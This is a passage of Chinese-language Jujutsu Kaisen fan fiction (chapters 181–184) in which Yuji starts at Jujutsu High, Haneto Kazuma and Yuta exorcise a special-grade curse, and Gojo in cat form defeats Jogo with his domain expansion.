虎杖悠仁蹲在自己母亲的墓碑前,双手合十对她歉意道,“对不起啦,今天没有带花过来看你。下次肯定会带着花和点心过来的,这次就先原谅我吧?” “不说话就当你同意了哦,妈妈。” ………… 有高专在暗中安排,虎杖悠仁后续的转学手续办得相当顺利。 刚开学才两天,他甚至还没来得及与同学建立深交,也算是能够毫无留恋的离开了。 至于爷爷那边,虎杖悠仁絮絮叨叨将这最近这段时间发生的事情说给他听后,只换回了漫长的沉默,与一段话。 “……是这样吗,” 虎杖倭助开口,却又刻意侧过身背对着他。 “悠仁,你一直都很强。所以啊,能帮助他人时就去伸出援手吧,哪怕只是在力所能及的范围内也好……你要在众人的簇拥下死去,别变成像我这样。” 虎杖悠仁愣了下,却还没说出点什么时,又被爷爷毫不留情的撵走。 “要做什么就快点去做,我又不是不能照顾好自己。” 现在绕到爷爷面前去,搞不好还能看见他在哭呢——虎杖悠仁的脑海里转过这个念头,还是好笑甩甩脑袋,放过自家格外倔脾气的爷爷。 “那我现在,可要和大家一起去拯救世界啦。” 180-190 第181章 虎杖悠仁通过夜蛾正道的入学考验, 正式就读咒术高专时,还想着他可要多认识些新同学,然后复刻JUMP漫画里那些友情啊, 勇气啊, 羁绊啊之类……的。 “欸,除我之外就只有一个?!” 虎杖悠仁对着这间空荡荡的、只有一个黑发少年坐着的教室大惊失色;五条悟在他身后发出窃笑声,却还要一本正经的回“啊,我没告诉你吗?咒术师很稀少的啦”。 伏黑惠:“………还有两个,应该正在过来的路上。” 虎杖悠仁默默转头:“五条老师……” “嗯嗯,还有一对双胞胎姐妹呢, ”五条悟笑着用手掌轻拍了下他的背,让悠仁快点进教室里, “另外还有一位, 不过她家里还有点事情要处理, 没有这么快过来哦。” “这也还是很少啊。”虎杖悠仁嘀咕着, 还是在伏黑惠旁边的空位上坐好,“你好, 我是虎杖悠仁,来自仙台!” 伏黑惠:“……伏黑惠。” 再没有更多的字,刚被虎杖悠仁炒起来的气氛瞬间就降回零度。 虎杖悠仁眨巴眼:“……” …唔哇,是那种又帅又酷的类型啊。 将虎杖悠仁送到教室后, 五条悟又出去了趟, 把办完入学手续的枷场菜菜子和枷场美美子也接了过来。 她们在入学前就听乙骨忧太描述过高专的情况,反而对人少的现象有做充分的预期。 但见到教室里坐着的只有虎杖悠仁和伏黑惠, 她们也同样叹了口气,很是失望,“没有会说话的熊猫啊。” 虎杖悠仁发出了今天的二度震惊:“竟然是对我们的物种抱有期待!?” “忧太那届可是有一只会说话的熊猫喔。”枷场菜菜子理直气壮, “我还想过如果进教室看见一只会说话的狗狗或者猫猫,需要摆出什么样的表情才能拜托跟我合影呢。” 真正用猫猫拟态和她们合过影的五条悟又没忍住在她们后面笑,“好啦好啦,你们两位也坐过去哦。” 再加上暂时有事过不来的钉崎野蔷薇,这届学生就到齐了——嗯,数量比想象中还要多一点呢。 五条悟在黑板写下新学年开始的第一个字,格外期待起他们未来的成长。 而课间,则是这些新同学互相聊天增进感情的时间。 “什么,原来伏黑和乙骨学长和你们都是早就认识的?”虎杖悠仁收到今天的第三个冲击性消息,整个人都凌乱乐,“我好像是那个乱入片场的群众演员……” “你不也是在入学前就认识一真哥哥和悟……五条老师和忧太了嘛。” 枷场菜菜子算是除虎杖悠仁以外的三个人里最活泼的那个了,此刻也是她在和虎杖悠仁聊天,其余两人默默旁听,“我有听说哦,还是一真哥哥特意去接你的呢。” “这个接法可能和你们想的不太一样……” 虎杖悠仁用食指挠了挠脸,大致和他们讲了下自己的情况。 例如身体里被埋了个不定时炸弹……这种事。 其余三人都听得一愣一愣的,难以想象虎杖悠仁竟然揣着个诅咒之王来上学——而且其本人是被判处死刑改死缓,性格还能这么开朗! “是和忧太差不多的情况?也有人管他的里香叫诅咒女王呢。” “不,我觉得区别还是很大的,忧太前辈的里香是他幼时的青梅竹马兼婚约对象,这个两面宿傩……” “呜啊。” 虎杖悠仁忍不住发散了下思维,被大概猜到他在想什么的两面宿傩在脑海里又是一顿嘲讽输出——但依旧被前者全部无视了。 两面宿傩:……这可恨的小鬼! 比起听到诅咒之王复活在虎杖悠仁体内就担惊受怕、嚷嚷着要将他即刻处死的高层们,真正与虎杖悠仁相处的同学反而要淡定得多,好像比起真正存在于他体内的两面宿傩,还是聊些乱七八糟的传闻更有意思些。 “要说让我感到最莫名其妙的,还是那个诺……诺…啊对,诺查丹玛斯大预言,”枷场菜菜子竖起食指,“听说已经传了很多年了吧?而且明明传得到处都是,竟然没有任何咒灵出现,真的很不可思议。” “但是之前说12年会人类灭绝的玛雅预言啊,不也没有诞生咒灵?”刚被科普咒灵诞生来源的虎杖悠仁感到困惑。 枷场菜菜子:“不一样啦,玛雅预言没有明确的恐惧载体,很难生成大众认可的假想咒灵。但诺查丹玛斯大预言可是明确说了凤凰这种神话生物,包括它的攻击方式……最近好像又有新加的内容?” “嗯,”枷场美美子点头,“说它既携带着复仇之焰,同时也带来了净化之焰,会将人类罪业的根源全部焚尽,彻底迎来新世界。” 虎杖悠仁嘀咕:“确实是越传越离谱了。” “因为时间快要到了嘛,”枷场菜菜子刷着手机浏览关于这个话题的社交媒体,“现在相信的和不相信的都快吵翻了,还有各种基于大预言创作的衍生插画、故事和视频之类……总之就是特别热闹。” 大预言本身到底是真是假,身为咒术师的他们其实并不关心……但传成这样竟然都没有咒灵诞生,他们反而要犯职业病了,总想探个究竟。 “各位,上课咯——” 五条悟忽然从教室门外探了个脑袋进来,连带又伸出只手朝他们招啊招,“是课外实习,正好分成两组训练,快点到操场上来喔!” “这才是最让我感到不可思议的地方,” 起身时,虎杖悠仁快乐得几乎都要一蹦一跳地走路了。 “能想象吗?哪怕十年过去也依旧人气不减、被奉为如流星般闪耀又转瞬即逝的大明星五条悟,现在竟然变成我的老师耶!” 好棒!他超喜欢五条老师! 枷场菜菜子正想开口,又听见虎杖悠仁很生气的说道,“你凭什么这么说五条老师?我看你就是既打不过五条老师,还在嫉妒他超受欢迎的高人气!” ——这听起来更像是自言自语,大概是在呛他体内的两面宿傩? 枷场菜菜子只是在内心这么猜测,顺带在心底连连点头认可这句话;但虎杖悠仁体内的两面宿傩被这句话噎得一哽,有那么情绪失控的一瞬间,简直要当场暴跳如雷。 他嫉妒?开什么玩笑!还有这小鬼,之前他说什么都当做耳旁风,提两句五条悟倒是忽然就不聋了! 果然可恨。 ………… 有五条悟帮忙扛住总监部那边的压力,虎杖悠仁的咒术师生活还算顺遂——除去他在咒力修炼上需要从零开始学起,刚入门有些艰涩外,其天赋与体格都是被五条悟称赞的奇才。 而咒术高专的课业也要比普通高中轻松许多,甚至不用强制参加社团,让虎杖悠仁在放学后有时间去探望病情逐渐加重的爷爷。 五条老师说虽然咒术里有一种能治疗自己及他人的[反转术式],但只能在一定程度上治疗肉丨体的损伤,对这种器官自身的病变无能为力。 面对五条老师话中透出的歉意,虎杖悠仁摇摇头表示不用担心,他早就接受了结果——不算坦然,却也至少平静。 虽然虎杖倭助夸口说自己能照顾好自己,但他依旧没能撑过六月。 这次有五条老师、羽取先生、乙骨学长、伏黑和枷场姐妹陪着一起站在墓碑前吊唁,虎杖悠仁轻轻放下一束菊花,希望爷爷没有走得太孤单。 “我很快就会去找你喔,爷爷。” 虎杖悠仁这句话刚出口,就被五条悟轻拍了一记后脑勺,“说什么呢。” 有时候真是会被这小子乐观到心大的态度给气着……算了,等到他无论花多少年都找不到第20根手指时,自然就会明白了。 “嘿嘿。” 被五条老师教训的虎杖悠仁不好意思笑了下,回头望向他们时,眼角仍泛着红,“我可不是在说丧气话哦,老师!” “我很期待你的成长喔,悠仁。” 五条悟笑着回道。 回去路上,羽取一真和五条悟并肩而行,其余人都默契的与他们拉开点距离,把私人空间让给这两位。 “杰最近格外安静,[窗]和辅助监督也一直没能找到他的踪影。”五条悟先开口,隐隐透出些许担忧,“不知道在谋划些什么。” 也不知道羂索都接触过夏油杰多少次,又到底对他说了些什么……现在想想,能让夏油杰在他18岁生日那天都借故不来,大概已经是被言语劝诱到相当严重的程度了。 是因为羽取一真带给他的危机感太严重吗?让羂索都会下意识准备起[假使自身提前死亡]的后手。 五条悟不那么确定,但他更希望自己能在夏油杰造成更大的牺牲之前,彻底阻止他。 “盘星教也没有找到他,包括那个强行让悠仁受肉的里梅。” 羽取一真回忆起愈发逼近他在上周目死亡时刻的那个时间点,心底也泛起几许不安。 在上周目的七月时,羂索有提过他必须要让悠仁吞下两面宿傩的手指;因此,羽取一真本以为自己这周目在四月份找到悠仁就能成功阻止,却没想到还会出现里梅这个变数。 让悠仁吞下手指,绝对只是一个开始。 ……莫非,有什么事情是羂索必须要两面宿傩去做才能完成吗。 羽取一真想不出头绪,但清楚记得悠仁在前往英集少年院之前,是没有吃下过手指的。 也就是指——上周目除了杉泽高中,英集少年院也会出现两面宿傩的手指。 哪怕如今羂索已死,他也必须要在七月份过去确认一趟。 第182章 虽然上周目的少年院任务仅上报有3只二级咒灵, 但羽取一真不怎么相信报告内容。 他自己就被骗过好几次,而当时那个任务很明显也是羂索提前埋下的布局。 可悟要忙的事情也不少,羽取一真不愿因为自己的猜测而随便占用他为数不多的休息时间——即使他清楚悟一定会来。 不过, 这也难不倒他。 沉吟片刻, 羽取一真果断带上了——同为特级咒术师的乙骨忧太。 时间则为上周目的少年院任务执行前一天。 “是相当危险的咒灵吗?准一级?” 站在英集少年院的大门前,背着剑袋的乙骨忧太小声问羽取一真。 那枚从里香得到的婚约戒指,已戴在他的无名指上一年有余。 由于他在入学时就被定为特级,入学前又接受过半年特训来熟悉如何运用自身力量,以至于乙骨忧太这一年多来接到的任务基本都没有低于二级的,倒是让他迅速成长为经验丰富的老手。 但真正的特级咒灵本身数量就稀少, 他更常遇见的是能使用咒术的准一级咒灵,或是在危害性及破坏力上媲美特级咒灵。 “我不确定, 带你来也是保险起见。” 羽取一真先回了乙骨忧太一句, 才对着特意来门口接待他们的少年院负责人微微颔首, “麻烦你了。” “哪里哪里, 得知是羽取教祖大人与乙骨圣子大人亲自前来,我们也是深感荣幸。” 搞宗教团体的好处就是教徒与香客本身来自各行各业, 社会地位从高到低都有,而他们各自又同样会延伸出去更多的人脉关系,想要联络到少年院的负责人,也成为一件并不困难的事情。 “遵照您的意愿, 我们已经将人员全部暂时转移至附近的另一座少年院。” 负责人向羽取一真拍胸脯保证, 又小声对他开口道,“实话说, 这两天确实有人一直在报告说看见运动场的上空有不明卵状物体,我们正发愁那边一直不派人来呢。” “竟然能被非术师肉眼观测到,情况确实已经相当危险。” 乙骨忧太立刻严肃起来, 羽取一真见状也不再耽搁,匆匆对负责人交代让他也尽快远离这里后,便与乙骨忧太一道穿过大门,直径前往运动场所在的位置。 回头确认负责人也已经离开此地后,乙骨忧太当即并拢二指竖起,放下彻底笼罩整个少年院的[帐]。 在这道黯淡幕帘的遮蔽下,原本存在于此处的诅咒会愈发活跃。 “已经能感觉到强烈的诅咒气息了,等级果然很高。” 从剑袋中取出那柄惯用的武士刀,乙骨忧太抬起头,目光极为明确的对准某个方向,“羽取老师也要当心。” 他认识羽取老师快两年,自然也清楚他在咒力感知上的天赋完全为零,也学不会[帐]这种基础的结界术;但与之相对,能在战斗中轻描淡写地打出连续黑闪,这种恐怖的能力除羽取老师外,压根没有其他人能做到。 “嗯。” 羽取一真同样握紧[业双],全神贯注。 而那枚原本安静漂浮在少年院运动场上空的咒胎,好似也感受到了近在咫尺的致命危机那般,迅速产生心跳般的律动——且愈来愈急迫! 啵。 ——耳边仿佛传来肥皂泡泡破裂般的轻微声响。 它提前孵化了自己。 仅一个眨眼的功夫,羽取一真与乙骨忧太身处的风景,已彻底变换了模样。 “竟然是……生得领域?” 乙骨忧太仅惊愕了片刻,手中武士刀当即平举在身前,咒力正缓慢的、大量的向内流入。 那枚戴在无名指上的环戒正闪烁着微光,好确保他随时都能将里香唤出来。 “能用咒力展开生得领域,这是特级咒灵。”乙骨忧太深吸口气,“幸好羽取老师发现得早,否则还不知道会造成什么样的后果。” 绝大多数特级咒灵都会拥有生得领域,一旦不慎陷入其中,不想死就赶紧跑——这是存在于咒术界普通术师脑海里的常识。 在高专上学时,羽取一真也被科普过,直到现在才第一次亲身体验到[生得领域]究竟是怎么回事。 但此刻,他与乙骨忧太不仅没有立刻撤离,反而主动朝这个生得领域的中心走去。 他们正是为了解决这个麻烦而来。 察觉到强烈诅咒袭来的一瞬间,乙骨忧太便已架刀格挡,精准拦住那只特级咒灵速度极快的锋利一爪。 速度比预计中要快——乙骨忧太的脑内刚转过这个念头,耳旁已掠过一柄朝咒灵飞去的利刃,与反手挥刀迎击的乙骨忧太同样瞄准了对方的脑部! 这两记攻击都没有斩到实处,只将它逼得后撤,并在同时双颊鼓起,似乎在酝酿一口气。 那只特级咒灵虽然刚诞生,在战斗中的反应却已比得上千锤百炼的咒术师,天生就精通该如何应付后者—— 轰! 咒力凝聚的冲击波犁出一道极深的沟壑,却在羽取一真的面前猝然止步,消散。 <术式顺转·裂>。 倒飞回的[业双]被再一次掷出,整片碎裂的空间在此刻化作无形却坚固的壁障——亦如一记现实世界中无法实现的抽刀断水,利落且强行终止了这道冲击波的继续前进。 连那只特级咒灵都怔住了,似乎不明白发生了什么。 它或许能凭借本能战斗,但并不意味着拥有足以正常思考的心智。 乙骨忧太怎么可能放过这个机会——但等他近身的片刻,这只咒灵肯定又会仰仗极快的速度逃离——心念电转间,无名指上的那枚环戒已闪过流光。 “里香,拜托你了!” “——忧—太!” 应呼唤而完全显现的特级过咒怨灵发出声尖锐嚎叫,远比那只特级咒灵庞大的体型亦如一道倾覆天地的海浪——连躲闪的空间也没有给它留下,就被拍下的巨大利爪碾碎半个身体,喷溅出大量暗紫色的血液。 剩下的半截陷入深坑之中,好似被切断头部的昆虫,神经仍在兀自抽搐。 “紫…紫色,好看……” 里香发出愉快的笑声,又回头也要给乙骨忧太看,“忧太…忧太……” “做得很好,里香。” 乙骨忧太抬手贴着她那张已不似人类的面颊,语气与动作却十分温柔,“谢谢你又救了我。” “嘿…嘿嘿……里香…喜欢……忧太……” 这只恐怖到令总监部格外警惕与忌惮的特级过咒怨灵,却在被乙骨忧太夸奖后,露出小孩子般的兴奋感。 “我也喜欢你,里香。” 乙骨忧太又用面颊轻轻贴了下她的,才彻底收回去。 虽然诅咒还没能化解,但他在与特级过咒怨灵[祈本里香]的相处上,反而在逐渐回到她尚未死亡时的模式。 在乙骨忧太安抚里香的时间里,羽取一真已经用[业双]干脆利落地结果掉这只正在试图用咒力治愈自己的特级咒灵——不仅得到了两面宿傩的手指,还附赠一枚【特级咒力结晶】。 他早就把自己的经验吃到了特级,暂时用不上这枚咒力结晶,便收到物品栏里。 至于这根两面宿傩的手指…… 羽取一真的物品栏里早就有悟带过来的那根,这根多出来的无论放不放在他这里,好像都无所谓。 但要直接交给高专,那他不就成替总监部打白工的了吗。 而且,他其实还有点想试试自己吃掉看会怎么样…… 羽取一真想了想,还是先让忧太帮忙接触[账],好让他能有信号打出电话,“悟?是这样的……” “嗯?两面宿傩的手指竟然会出现在少年院?”五条悟惊讶了下,随即想出一个合理的解释。 “大概是[共振]的情况吧,因为悠仁成为宿傩的容器,致使其余那些没有被高专找到并封印的手指、被咒灵吞食而抑制力量的手指,都随之彻底解放了咒力。” “除去少年院之外,想必还有其它地方,也会出现与类似的咒灵暴动……啊,这根手指先寄存在你那里哦,我还在出差,等结束就去你那里取。” 羽取一真欣然应下,“好。” 这也意味着如果他到时候在盘星教,悟还会答应用猫猫拟态陪他在参殿坐班到一起回家为止。 好耶! 给总监部打工,拍桌大怒;给漂亮家悟打工,多多益善。 “其实……” 羽取一真想了想,还没来得及将自己的求知欲说出口,就被敏锐又无比了解他的五条悟精准猜中。 “想自己吃是不是?”五条悟边在单手放[苍]收拾前赴后继的咒灵,边对着电话警告起自家这位偶尔也显得格外迟钝的恋人。 “以前吃过一次没事算你走运,竟然还想再吃第二次?吃的还是两面宿傩的手指?” 这刻意严厉起来的语气,就像在教训年龄小到无论什么都想塞嘴里尝尝味道的懵懂幼崽。 羽取一真立刻变得乖巧无比:“肯定不吃。” “保证?” “保证。” 又在电话里哄了好几句,并再三强调自己更期待吃悟带回来的伴手礼——险些挨批的羽取一真才挂断电话,大松口气,转头就看见正在偷偷笑的乙骨忧太。 “啊,这个,”乙骨忧太立刻顾左右而言他,满脸都写着正直与纯良,“我刚才什么都没有听见。” 在外淡漠又高冷、无论做什么决策都雷厉风行的羽取教祖,对内会立刻向五条老师乖巧认错之类的……他一概都不知道。 羽取一真:“………” 算了,反正也不是第一次被忧太看见,再说这也没什么丢人的。 “走吧,我们再将这座少年院排查一遍,就可以收工了。” ………… “我们该怎么办,才能赢得了咒术师?” 坐在家庭餐厅内的,仅有夏油杰一人,却又不止他一人;譬如此刻在说话的,是一只可以正常交流的特级咒灵,自称漏瑚。 他原本想要吸收其中一只作为计划实行的关键,却发现与它气息相差无几的,竟然还有三个——自知难以对付的夏油杰便顺势转为智取,假意与他们目标一致,商议结伴同行。 这也算是意外之一,但计划本就并非定死的存在,只要能达到原定的结果,中途稍许改道也是正常。 “在那日到来之前,达成两个条件:一、让五条悟无法战斗;二、拉拢两面宿傩。” “但以五条悟的实力,我不认为你们可以杀死他。” 夏油杰双手拢在袖口里,清楚五条悟的实力乃是断层的强大,“虽说我也不是全无办法,但这招只能用一次,必须要用在最出其不意的时候。” “难道我们全部出动,也杀不了他?” 竟然被质疑实力,漏瑚立刻有点动怒,看向这个诅咒师的目光也变得极不友善,“你说的办法又是什么?” “你可以去试试,但我想除了逃跑和被祓除两个结果外,不可能有第三种。”夏油杰平静道,“别急,我手上也不是没有应对他的杀手锏。” “但我这边的建议是,先封印羽取一真。他的术式非常麻烦,几乎能克制所有发动中的咒术。” “用什么?” “特级咒物,[狱门疆]。” ——[狱门疆]这个词语一出,空气瞬间宛若在被火烧灼,变得滚烫而干燥。 “竟然是那个禁忌的咒物!”漏瑚几乎要按捺不住地起身,声音随之提高,“那东西竟然在你手里吗!为什么不用来封印五条悟?” “以五条悟在战斗中的天赋与实力,我们未必能成功封印他,”夏油杰十分谨慎,“而即使成功封印,羽取一真的术式大概率也能终止[狱门疆]的封印效果。” “所以,必须要先封印羽取一真,甚至可以再尝试藉由他来要挟五条悟不准出手——虽然以我对五条悟的了解,后面这个方案能成功的可能性并不高,但多少也能搅乱他的心神。” 至于对付五条悟,他还有另外的后手。 即使伏黑甚尔死后,那把[天逆鉾]同样被五条悟带去海外,也不知是封印抑或被破坏。但拥有类似效果的武器,还存在一样。 “真是磨磨唧唧的做法,这就是你们人类的懦弱之处!” 漏瑚冷笑出声,压根不在意夏油杰这些弯弯绕的计策——它用更嚣张而傲慢的声音,向夏油杰单方面做出宣布。 “把[狱门疆]给我,我要纳入收藏!” “——与之相对,我会去杀了羽取一真。” ………… 而此刻,圆月已爬上树梢。 羽取一真走在回家的路上——小臂间正稳稳托着一只拥有绒白长毛与晶莹蓝瞳的,超可爱猫猫。 第183章 这段道路极为安静, 除去偶尔飞掠过的车辆外,再没有其他行人。 悟今天终于出差回来,又是难得的二人私密时间, 羽取一真没有选择坐专车回家, 而是打算绕路步行到附近的车站,再坐公交慢慢晃回去。 何况他也好久没有抱到猫猫拟态的悟了……趁机多摸摸一会,嘿。 羽取一真仍然能维持表面上的一本正经,心底早就在边打小算盘边偷着乐——但从一开始就被五条悟看得一清二楚。 这小子太笨啦,真是一点也藏不住,还要让他努力配合装出一副完全没察觉到的模样呢。 稳稳待在他怀里的纯白猫猫眨巴那双又圆又大的明亮蓝瞳, 愉快笑意里的纵容同样藏不住。 等回去后再…… 这念头才刚浮现在脑海,瞬间靠近的尖锐敌意令原本软软蜷缩在恋人怀里的悟咪瞬间支棱上半身, 几乎要炸着毛弓起背来—— 羽取一真立刻察觉到不对劲, 心念一动便将[业双]握在手中, 同时闪身往旁边躲避! 轰——! 随着巨大冲击力的急速下坠, 原本结实且平坦的混凝土立刻出现大面积龟裂,好似某种神罚自天际降临于此。 但实际上, 降临在此处的并非神罚,反而是一场由无数人类负面情绪而催生、彻底实质化的灾厄。 连来者那发出的高声讥笑,也充斥着对羽取一真的极尽嘲弄与蔑视。 “哈,真是毫无危机感啊, 正好让我成全你的死…!” 当烟尘散去时, 显露出来的咒灵模样相比羽取一真曾经见过的那些奇形怪状的模样,竟然更肖似人类——仅有脑袋被某种像壶型瓦器与火山的结合体替代, 不时有类似岩浆的热液喷出,溅起星点火光。 这丑东西……长得好像宣传包装上那些奇形怪状的npc之一。 视觉冲击力太强,特征也很明显——羽取一真不记得它叫什么, 但对这个火山头脑袋和露出的黑色牙齿很有印象。 至于这只咒灵的实力…… 来不及思考更多,悟咪已自觉趴在他肩头稳住身形,好让羽取一真能空出手来抽出其中一柄[业双],锁定瞬间袭来的炽焰。 ——轰隆! 这次是宛若火山喷发的动静,自墙壁长出的火山口并不大,却能在漏瑚的操控下主动对准羽取一真,毫无停滞地喷发出混杂有岩浆的高热火焰! 灼烫的温度毁天灭地,转眼间便摧毁了沿途所经过的一切人造设施——混凝土的地面、修筑的围墙、立起的电线杆……随即,却止步于无法再前进半寸的无形壁障。 阻拦这记攻击的,不仅是自刃尖蔓延而出的、那片坍塌又重铸的空间;还有那只自羽取一真肩头跃至地面,挡在他身前的同时抬爪放出大范围[无下限]的纯白猫猫。 [无下限]的范围取决于他往术式中灌注的咒力量——而此刻瞬间扩大的范围,正是五条悟以猫猫拟态却想展开比人型更广的壁障保护一真,进而爆发式注入咒力导致的。 很来劲的在嚣张嘛,这家伙。 想对他的一真做什么? “——嗷(苍)!” 虽然身体变成了猫猫,但头脑与身手依旧灵活,乃天底下最厉害且可爱的悟咪是也! 第一击能被羽取一真挡下来,漏瑚并不感到特别意外。 他甚至没有片刻停顿,滚涌着岩浆的火山口处便飞出大量火砾虫,想要将羽取一真和那只柔弱得毫无杀伤力、除了喵喵叫什么也做不到的白猫包围—— 却在转瞬之间,好似被某种凭空掀起的巨大风暴蛮横卷进中心! 哪怕那些蚊鼻状飞虫拼尽全力的想要振翅逃离,也与目标位置愈发拉远,直至在这场无可抵御的无穷吸引力之下纷纷相撞,反而接二连三的爆炸在漏瑚身边,令后者难以遏制地流露出错愕表情。 无法从光影或效果反推出这招,但结合刚才空间诡异碎裂的状态来看……莫非,这小子的术式是与空间相关? 区区一只人畜无害的超可爱纯白猫猫,哪怕刚才有发出一声猫叫,也被漏瑚无视了个彻底,仅对羽取一真加倍提高警惕。 哼哼,这可真是方便了他。 见一真想要解除他的猫猫拟态,悟咪当即转头瞥来一记目光,依靠默契成功制止自家恋人的动作。 倘若他一现身,这只咒灵立刻就选择逃跑怎么办? 它看上去拥有能与人类正常沟通的理性,咒力量也达到了特级——会选择袭击一真而不是他这一点,五条悟猜测是它从哪里得到了情报。 至于这个所谓的“哪里”,他心底其实已经有了明确的人选,只是没有将那个名字念出来罢了。 但此刻,他正好趁着白猫拟态作为掩护,让敌人尝尝敢对猫猫掉以轻心的惨烈后果—— “啊咪(赫)。” 在漏瑚朝羽取一真冲来、打算近身用更高浓度咒力制造的火焰结果对方的同时,那只毫不避让、反而翘着毛绒绒大尾巴的纯白大猫猫,慢条斯理抬起爪爪——他有努力比出[赫]的释放手势,但在外人看来,仅是一只猫抬起了那只肉垫粉嫩的前爪。 紧接着,恐怖的斥力化作暗赤的光点,自黑暗中浮现,流转,并在漏瑚来不及做出反应的惊疑间,爆发出一道比方才熔岩喷发时更加摧枯拉朽的笔直光束。 漏瑚被这道突如其来的光束不偏不倚打了个正着,霎时呛咳出大量紫色血液,几乎难以置信自己刚才看见了什么。 胸口处被彻底挖出一个巨大的贯穿伤,黏稠的血争先恐后的往外喷涌而出。 当漏瑚踉跄站稳时,滴落在地上的紫色血液已在脚底凝成一小滩。 什么……什么情况? 漏瑚仍旧难以回神。 它刚才明确看见羽取一真是将那把短刃收回在掌中,似乎同样打算与它打一场近身格斗战。 但那束恐怖的光炮是什么情况,它看花眼了吗,怎么感觉是对方脚边那只猫发出来的?? 猫也会用咒术!? “喂,你……” 漏瑚震惊到忍不住发出声音,敌人却不会给它说闲话来拖延时间恢复伤势的余裕——那只白猫真的在漏瑚那只瞪大的独眼里跃起来了,甚至在飞速向它靠近! 砰!砰!砰!砰! 好快好强的猫猫拳!! 在漏瑚还没搞明白为什么一只猫竟然会这么能打前,它先挨了从未感受过的、更沉且更重的肉丨体打击! 拟态并不影响技能的使用,哪怕抛却独一无二的[六眼]天赋,五条悟自身的战斗技巧同样出神入化,乃是真正断层的强大——看似柔软的每一记猫拳之中,都蕴藏着难以抵御的无穷吸引之力,[苍]! 漏瑚被这超乎想象的场景与敌人打得晕头转向,大脑运转到宕机冒烟也想不明白到底是怎么回事。 反而是悟咪越打越是战意高昂,在旋身一记后爪蹬击中,不慎将它抽飞到了远处的丛林里。 哎呀,可不能让它跑了。 悟咪翻身落在羽取一真的肩头,两只前爪一拍,连人带猫都消失了身影。 搞不明白原因,就先拉开距离! 被一只猫打得毫无还手之力的漏瑚,带着满脸的血与胸口的贯穿伤重重摔倒在落叶铺就的泥土上,却半点也不敢耽搁,起身就要迅速逃离—— “喵?” 一声拉长了音的柔软猫叫,在此刻好似化作了漏瑚难以摆脱的梦魇。 紧接着,那只已追上来的猫又是连续的猫拳攻击,把漏瑚再度打翻在地;哪怕中途尝试放出带有炽焰与岩浆的冲击波试图逼退对方,竟也能自那滚烫的烈焰之中毫发无损地穿出,又是几记只见残影的猫拳! 耻辱至极,真是耻辱至极!! 它堂堂一只天灾级别的特级咒灵,在没打到羽取一真之前,居然先被他怀里的猫给打了个半死!! 凭什么猫也能用咒术,难道这也是他的术式之一吗!? 不管如何,无法忍受这番羞辱的它要将这两个家伙一并拖入领域,杀掉他们!!! “[领域展开·盖棺铁围山]——!!” 双手结出咒印,已然怒不可遏的漏瑚瞬间消耗大量咒力,在这片森林中划出块独属于自己的领地——天空与大地皆被包围起来的岩石遮蔽,赤红的岩浆缓慢流淌在每一处岩壁的缝隙之中,似要朝羽取一真与悟咪尽数倾泻而来。 羽取一真也不算是初次体会到领域展开,但此时的他却没有了[归净身血]这个上周目的领域技能作为抗衡手段。 而这周目的他,始终没有触发到奖励是领域展开技能的任务或委托。 甚至连术式逆转的技能也还没得到,要是先用不断补血的反转术式硬抗过这只咒灵的领域展开,再出手把它干掉…… 羽取一真的脑海里立即转过这些念头,却忽然留意到这片被敌人围起来的岩浆空间之内,还有悟在。 他陡然放下心来。 因为悟也会领域展开,而他必定是毋庸置疑的,最强。 在漏瑚不敢置信的目光中,那只白猫同样举起了一只前爪,看向他的蓝瞳里仿佛充斥着明晃晃的嘲笑。 好似在说——不就是领域展开吗,猫也会。 “喵喵喵喵,咪嗷咪嗷[领域展开·无量空处]。” 转瞬之间,原本遮天蔽日的滚烫岩浆与封闭的穴洞,瞬间被墨似的星空与虚无覆盖。 “———。” 漏瑚没能再挪动身体半步,连体内的咒力都仿佛彻底凝滞下来;它感觉自己在被一只全知全能之眼漠然注视着,永无止境的情报如千尺瀑布倾斜般灌入它的大脑,彻底挤占每一处妄图分出注意力的心神。 什么、什么情况? 它已经败北了吗,在这场领域展开的比拼之中? ……就这么输给了,一只猫? 第184章 五条悟展开的领域——[无量空处], 为[无下限]的内侧。 它可令术式对象强制接收无休止的情报,看似在这段时间内获得全知,却又同时因大脑需要处理的垃圾信息量太多而陷入僵直般的混乱中, 无法再指挥神经对外界做出任何反应。 由于漏瑚在中[无量空处]的那一瞬间, 脑海里有冒出自己竟然输给猫的极震撼想法,致使它此刻被迫接受的海量情报,也彻底被一个堪称刻骨铭心的词语占据。 猫猫猫猫猫猫猫猫…… 仿佛在被猫痴强制洗脑。 而轻松打败特级咒灵的天底下最厉害又可爱的圣猫大人,此时正趴在羽取一真的肩头,爪一扬冲着动弹不得的漏瑚咪咪喵喵半晌,而后又用那只前爪反过来, 朝自己脖颈处一比划。 能在[无量空处]中不受影响的,只有五条悟和被五条悟肢体触碰的人。 羽取一真心领神会, 拔出其中一柄[业双]短刃, 干脆利落地割下了这只火山头咒灵的脑袋。 两个球状的领域结界皆如琉璃般破碎, 大地再度被皎洁而明亮的月光笼罩, 虫鸣在角落里此起彼伏,一切都显得如此柔和而静谧—— 只有漏瑚, 只剩下一个脑袋被抛在地上,发出叮铃桄榔的滚动声响。 “谁派你来的。”羽取一真淡淡问道。 它最好别说,这样就能顺理成章的直接祓除掉,又美美收获一枚特级咒力结晶。 原本是抱着十足信心来杀羽取一真, 没想到输给他怀里那只猫的漏瑚, 哪怕只剩下一个头颅,哪怕已快要小命休矣, 也被气到半个字都不想说。 “………” “我数三秒,不说就祓除掉你。” 羽取一真握住乌棍的剑柄,竖着举高, 将刃尖对准这个哪怕去当艺术品也不合格的火山头脑袋。 其实就算这只咒灵不坦白,他大概也能猜到是谁在背后指使。 “咪咪!喵嗷!” 他肩头的那只白猫也不停在用爪爪拍打,似乎在迫不及待的催促羽取一真快点动手。 听着这一声又一声好似阎王催命的猫叫,漏瑚又想起自己竟然输给一只会领域展开的猫,那只独眼几乎要心梗得翻白——假设它真的有心脏。 是他对咒术界太过孤陋寡闻了吗,为何会有此等凶兽出现!? 等了三秒,确定对方不打算透露半个字的羽取一真立刻动手,刃尖几乎要刺穿这个火山头脑袋时。 ———在那连眼也没眨的转瞬之间,他的脚下满地铺开绚烂花海。 嗯? 喵… 趁羽取一真与悟咪皆情不自禁为这片花海短暂愣神之时,宛若一阵疾风轻掠而过,险些殒命在[业双]下的漏瑚被另一个长相更为奇特的咒灵捞走,几步便冲出数米之外。 是这个火山头脑袋的同伙,这个等级的未登记特级咒灵竟然还有一只! 眼看抱着脑袋的这家伙就要跑得彻底寻不到踪迹,羽取一真掷出[业双]的同时,翻手从物品栏祭出一张卡牌,意念选定在【社交】界面里出现的名字——漏瑚! [八相轮卡],发动。 